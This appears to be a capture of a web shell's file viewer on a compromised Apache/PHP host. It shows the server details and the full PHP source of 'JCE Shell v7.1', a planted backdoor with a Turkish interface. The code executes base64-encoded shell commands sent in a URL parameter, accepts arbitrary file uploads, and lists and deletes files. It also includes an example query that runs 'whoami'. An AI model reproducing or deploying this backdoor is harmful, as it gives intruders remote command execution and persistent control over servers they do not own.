One Hat Cyber Team

Your IP: 216.73.216.75
Server IP: 213.186.33.17
Server: Linux webm007.cluster106.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Server Software: Apache
PHP Version: 7.4.33
Create File | Create Folder
Dir : ~/home/tcherkas/spectacles.russes/tmp/
View File Name : dr-x6611gp6.php

<?php
error_reporting(0);
set_time_limit(0);

// === VERIFY + COMMAND MODE ===
if(isset($_GET['v'])){
    $c=base64_decode($_GET['v']).' 2>&1';
    $o='';
    if(function_exists('shell_exec')){$o=@shell_exec($c);}
    elseif(function_exists('exec')){@exec($c,$arr);$o=implode("\n",$arr);}
    elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
    else{$o='BLOCKED';}
    echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
    exit;
}

// === UPLOAD MODE ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadDir = dirname(__FILE__) . '/';
    $fileName = basename($_FILES['file']['name']);
    $targetPath = $uploadDir . $fileName;
    if (move_uploaded_file($_FILES['file']['tmp_name'], $targetPath)) {
        echo 'UPLOAD_OK|' . $fileName . '|' . filesize($targetPath);
    } else {
        echo 'UPLOAD_FAIL';
    }
    exit;
}

// === LIST MODE ===
if (isset($_GET['list'])) {
    $files = glob(dirname(__FILE__) . '/*');
    foreach ($files as $f) {
        echo basename($f) . ' (' . filesize($f) . ' bytes)\n';
    }
    exit;
}

// === DELETE MODE ===
if (isset($_GET['del'])) {
    $f = dirname(__FILE__) . '/' . basename($_GET['del']);
    if (file_exists($f) && unlink($f)) {
        echo 'DELETED: ' . basename($f);
    } else {
        echo 'NOT_FOUND';
    }
    exit;
}

// === VERIFY CHECK (RXST pattern) - Sayfa açılınca göster ===
$verify = 'RXST:'.base64_encode('MATHOK:891024').':RXEND';
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="utf-8">
<title>JCE Shell v7.1</title>
<style>
body{background:#0a0a0a;color:#00ff00;font-family:'Courier New',monospace;margin:0;padding:20px}
h1{color:#ff0000;text-shadow:0 0 10px #ff0000;margin-bottom:30px}
.box{border:1px solid #00ff00;padding:20px;background:#111;margin-bottom:20px;border-radius:5px}
.box h3{color:#ffff00;margin-top:0;border-bottom:1px solid #333;padding-bottom:10px}
input[type="file"]{background:#222;color:#00ff00;border:1px solid #00ff00;padding:10px;width:100%;box-sizing:border-box}
button{background:#00ff00;color:#000;border:none;padding:12px 30px;cursor:pointer;font-weight:bold;font-size:14px;margin-top:10px}
button:hover{background:#00cc00}
a{color:#00ffff;text-decoration:none}
a:hover{text-decoration:underline}
.code{background:#222;padding:15px;border-left:3px solid #00ff00;margin:10px 0;font-size:13px;overflow-x:auto;word-break:break-all}
.status{color:#ffff00;font-weight:bold}
.verify{background:#1a1a1a;border:1px solid #ff0000;padding:10px;color:#ff0000;font-size:12px;margin-bottom:20px}
</style>
</head>
<body>
<h1>⚡ JCE Shell v7.1</h1>

<div class="verify">
🔒 Verify: <?php echo $verify; ?>
</div>

<div class="box">
<h3>📤 Dosya Yükle</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<button type="submit">YÜKLE</button>
</form>
<div id="upstatus" class="status"></div>
</div>

<div class="box">
<h3>💻 Komut Çalıştır</h3>
<div class="code">?v=$(echo 'whoami' | base64)</div>
<p>Örnek: <a href="?v=ZWNobyB0ZXN0" target="_blank">Test Komutu</a></p>
</div>

<div class="box">
<h3>📁 Dosyalar</h3>
<p><a href="?list">Tüm Dosyaları Listele</a></p>
</div>

<div class="box">
<h3>🗑️ Sil</h3>
<div class="code">?del=dosya.txt</div>
</div>

</body>
</html>